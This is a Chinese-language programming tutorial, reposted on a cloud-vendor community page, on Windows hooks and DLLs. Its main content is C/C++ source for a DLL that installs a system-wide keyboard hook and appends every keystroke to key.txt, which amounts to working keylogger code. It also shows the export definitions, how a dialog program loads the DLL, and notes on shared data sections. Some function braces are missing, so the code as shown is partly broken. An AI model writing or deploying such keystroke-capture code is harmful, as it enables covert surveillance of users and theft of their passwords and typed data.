HOOK 與 DLL的執行個體

來源:互聯網
上載者:User

1.DLL建立:

  #include<windows.h>
#include<iostream.h>
#include<stdio.h>
#pragma data_seg("mydata") 
HHOOK glhHook=NULL;         //安裝的滑鼠勾子控制代碼  
HINSTANCE glhInstance=NULL; //DLL執行個體控制代碼 
#pragma data_seg() 

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) 

      char ch=0; 
      FILE *fl; 
      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下 
      { 
            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) ) 
            { 
                  fl=fopen("key.txt","a+");    //輸出到key.txt檔案 
                  if (wParam==VK_RETURN) 
                  { 
                        ch='\n'; 
                  } 
                  else 
                  { 
                        BYTE ks[256]; 
                        GetKeyboardState(ks); 
                        WORD w; 
                        UINT scan=0; 
                        ToAscii(wParam,scan,ks,&w,0); 
                        //ch=MapVirtualKey(wParam,2); //把虛鍵代碼變為字元 
                        ch =char(w);  
                  } 
                  fwrite(&ch, sizeof(char), 1, fl); 
            } 
            fclose(fl); 
      } 
      return CallNextHookEx( glhHook, nCode, wParam, lParam );  

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,  // handle to DLL module
  DWORD fdwReason,     // reason for calling function
  LPVOID lpvReserved   // reserved
)
{
glhInstance=hinstDLL;//插入儲存DLL執行個體控制代碼
return 1;
}

BOOL StartHook() 
{
BOOL bResult=FALSE; 
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0); 
if(glhHook!=NULL) 
  bResult=TRUE; 
    return bResult;  
}


BOOL StopHook()  

BOOL bResult=FALSE; 
if(glhHook) 

bResult= UnhookWindowsHookEx(glhHook); 
if(bResult) 
glhHook=NULL; 

return bResult; 

2..DEF檔案建立:

LIBRARY
EXPORTS StopHook 
EXPORTS StartHook


3.主程式建立(基於MFC dialog類型)

初始:_declspec (dllimport) BOOL StartHook();
           _declspec (dllimport) BOOL StopHook();

          連結上述產生的 .DLL 檔案

調用:直接可以調用 .dll 中的函數

4.注意:

一、調用方式要一致,防止出現因調用方式不同而造成主程式中找不到指定函數;

二、除了上述的靜態連結 dll ,也可以用 LoadLibrary()等函數動態去連結;

三、用#pragma data_seg建立一個新的資料區段並定義共用資料,其具體格式為: 

#pragma data_seg ("shareddata") 
HWND sharedwnd=NULL;//共用資料 

#pragma data_seg()   

#pragma data_seg()一般用於DLL中。也就是說,在DLL中定義一個共用的,有名字的資料區段。最關鍵的是:這個資料區段中的全域變數可以被多個進程共用。否則多個進程之間無法共用DLL中的全域變數。

共用資料必須初始化,否則微軟編譯器會把沒有初始化的資料放到.BSS段中,從而導致多個進程之間的共用行為失敗。

也可以直接用DLL原始碼指定連結選項,就像我們在STRLIB.C那樣(《windows編程》教程動態連結程式庫):

#pragma comment(linker,"/SECTION:shared,RWS") 
這種方法只能在沒有def檔案時使用,如果通過def檔案進行匯出的話,那麼設定就要在def檔案內設定而不能在代碼裡設定了。


聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.